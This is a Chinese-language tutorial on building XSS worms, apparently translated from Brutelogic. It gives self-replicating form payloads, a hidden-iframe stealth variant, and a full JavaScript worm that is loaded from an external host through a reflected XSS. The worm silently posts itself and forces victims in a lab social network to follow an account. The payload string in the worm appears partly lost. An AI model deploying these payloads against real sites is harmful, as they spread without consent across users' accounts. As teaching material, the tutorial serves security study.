小编寄语:
XSS攻击最大的危害在于可能在一个系统中的用户间互相感染,以致整个系统的用户沦陷。能够造成这种危害的脚本我们称之为XSS蠕虫。
第一部分
XSS攻击最大的危害在于可能在一个系统中的用户间互相感染,以致整个系统的用户沦陷。能够造成这种危害的脚本我们称之为xss蠕虫。
为了更好的理解为xss蠕虫的工作原理,我们需要开始一段崭新的旅程去了解构造自我复制的代码所需要的技术。
出于教学目的,我们将仅仅以最简单的代码实例做讲解。 所以我们尽可能避免使用XHR等js过程。
让我们来看看最简单的一个自我复制的反射型XSS实例。它仅仅能够在页面注入一个链接,打开这个链接将在新的标签页中注入同样的xss语句。
- <a href target=_blank>click</a>
可以在这里(http://brutelogic.com.br/webgun/test.php?p=%3Ca%20href%20target=_blank%3Eclick%3C/a%3E)尝试一下。
现在我们来看一个稍微复杂一些的例子。这个(http://brutelogic.com.br/tests/comments.php)页面用于发送评论,并且存在存储型xss。 如果我们在评论中插入如下代码:
- <form method=post onclick=elements[0].value=outerHTML;submit()>
- <input type=hidden name=comment>click me!</form>
这里注入了一个表格,使用post方法发送comment参数。每当onclick方法被触发时,它会将表格中的第一个元素的value填充为整个form标签内的html代码(包括form标签本身)这样每当有人点击click me!我们就能不断的发送这条评论到评论页面中,也就完成了自我复制。
对于很少有用户交互的xss向量,我们可以使用onmouseover事件或者类似的css trick来增加触发蠕虫的可能性。
尽管上面这个例子看起来很有趣,但是实际上一般评论页面都不会允许在评论中插入一个表格,在反射型xss中更有可能触发,但是这样造成的危害并不大,所以为了造成实际危害,我们需要结合反射型XSS与存储型XSS。
下面的一段代码将被插入到一个反射型xss中。
- <form method=post action="//brutelogic.com.br/tests/comments.php"
- onclick="elements[0].value='<a/href='%2BURL%2B'>link</a>';submit()">
- <input type=hidden name=comment>click me!</form>
当click me被点击时,它将向comments.php post数据,完成发送评论的操作。和之前的html代码不同的是,他post的comment内容不再是一个表格,而是一个链接,链接的内容指向同样的xss向量,也就是注入了蠕虫代码的的存在存储型xss的页面。链接被点击后将继续造成蠕虫传播。
为了让攻击进行的更加隐蔽,我们可以不让用户返回至comment页面,而是通过插入一个不可见的iframe,并将请求在这个不可见的iframe中打开,代码如下:
- <iframe style=display:none name=x></iframe>
- <form method=post action="//brutelogic.com.br/tests/comments.php"
- onclick="elements[0].value='<a/href='%2BURL%2B'>link</a>';submit()"
- target=x><input type=hidden name=comment>click me!</form>
在这里尝试(http://brutelogic.com.br/webgun/test.php?p=%3Ciframe%20style=display:none%20name=x%3E%3C/iframe%3E%3Cform%20method=post%20action=%22//brutelogic.com.br/tests/comments.php%22onclick=%22elements%5B0%5D.value=%27%3Ca/href=%27%2bURL%2b%27%3Elink%3C/a%3E%27;submit%28%29%22target=x%3E%3Cinput%20type=hidden%20name=comment%3Eclick%20me!%3C/form%3E)。
下一部分中,我们将做一个独特的实验,即xss在传统社交网络中的不同用户间的传播是如何进行的。
第二部分
为了理解XSS蠕虫的实际应用,我们首先介绍一下XSS蠕虫的传播环境,一个简单的社交网络。我们姑且叫他XSSbook,它的数据库主要由三个表组成。
每个表的内容
users表有该社交系统中的用户信息,包括用户id,登录名,姓名,加密后的密码,电子邮箱地址和简单的自我介绍。
posts表存储了文章信息,包括文章id,发布者id,文章内容与文章发布时间。
最后,follows表描述了用户之间收听与被收听的关系,即每个收听的用户的动态都会出现在该用户的timeline上。
这一系列php代码可以完成会话控制等功能,支撑整个系统的运转。
现在挑战在于用如何尽可能接近真实社交网络的数据传播来使用虚假数据产生一个数据库。为了达到这个目的,我们会使用bash脚本来生成一系列数据以贴近大型社交网络。我们也将努力的呈现这种呈指数级别增长的XSS蠕虫的威力,即当成千上万的用户连接时,XSS蠕虫的传播将越来越快!
第三部分
我们以一个数据集合开始产生一个XSSBOOK的数据库。
和传统社交网络一样,只有极少用户能够拥有大量的听众。为了方便演示,这里我们产生了一百个用户,他们都有同样的密码12345678。
其中,“Brute”是最后一个用户。
XSSBOOK这个应用看起来是这个样子的。
首页显示了收听的用户所发表的信息。在上面的截图当中,Brute收听了Angela并且看到Angela最近的推文。他的资料页展示了他的听众数量(目前是0)和自我介绍。Brute还没有发表过推文所以没有显示。
蠕虫传播的开始,第一个受到感染的是George。他因为访问了一个通过搜索功能存在的反射型xss漏洞构造的蠕虫而受到感染:
http://localhost/xssbook/search.php?user=%3Cscript%20src=//brutelogic.com.br/tmp/xssbook.js%3E%3C/script%3E
引入的js的内容为
x = new XMLHttpRequest();
x.open('POST', 'home.php', true);
x.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
x.send('post=
Check this!');
fr = document.createElement('iframe');
fr.setAttribute('name', 'myFrame');
fr.setAttribute('style', 'display:none');
document.body.appendChild(fr);fo = document.createElement('form');
fo.setAttribute('method', 'post');
fo.setAttribute('action', 'profile.php?id=100');
fo.setAttribute('target', 'myFrame');
i = document.createElement('input');
i.setAttribute('type', 'hidden');
i.setAttribute('name', 'follow');
fo.appendChild(i);
fo.elements[0].value='follow';document.body.appendChild(fo);
fo.submit();
解析一下这段js
x = new XMLHttpRequest();
x.open('POST', 'home.php', true);
x.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
x.send('post=
Check this!');
开头四行是蠕虫的自我传播部分,它在用户不知情的情况下发送了一条推文,推文的内容首先闭合了 textarea标签,插入了一个换行符,再插入了一个指向当前页面(即蠕虫传播)的链接。
fr = document.createElement(‘iframe’);
fr.setAttribute(‘name’, ‘myFrame’);
fr.setAttribute(‘style’, ‘display:none’);
document.body.appendChild(fr);
这四行我们创建了个看不见的iframe,这个iframe将会成为接下来蠕虫要创建的form的target(这样做的目的见上文)。
fo = document.createElement('form');
fo.setAttribute('method', 'post');
fo.setAttribute('action', 'profile.php?id=100');
fo.setAttribute('target', 'myFrame');
这四行代码创建了一个form,target是之前的iframe,目标页面是100号用户的个人资料,也就是brute用户的个人资料页面。
i = document.createElement(‘input’);
i.setAttribute(‘type’, ‘hidden’);
i.setAttribute(‘name’, ‘follow’);
fo.appendChild(i);
这里创建了个不可见的input块,目的在于post一个follow的值。
fo.elements[0].value='follow';
而follow的值也被设定为follow。
document.body.appendChild(fo);
form被加入到页面中
fo.submit();
form最终被提交。
如我们所见,这段蠕虫代码将会复制自身,传播自身,并且关注用户“Brute”
所以我们现在有一个100人规模的社交网络,连接数为463。我们现在要看看蠕虫在用户间的传播。为了达到这个目的我们将使用Firefox扩展Selenium IDE。
我们使用该扩展模拟用户的行为,通过给定的csv表格中的帐号信息陆续登录账户,点击timeline上的链接。接下来我们就可看到该蠕虫的快速传播。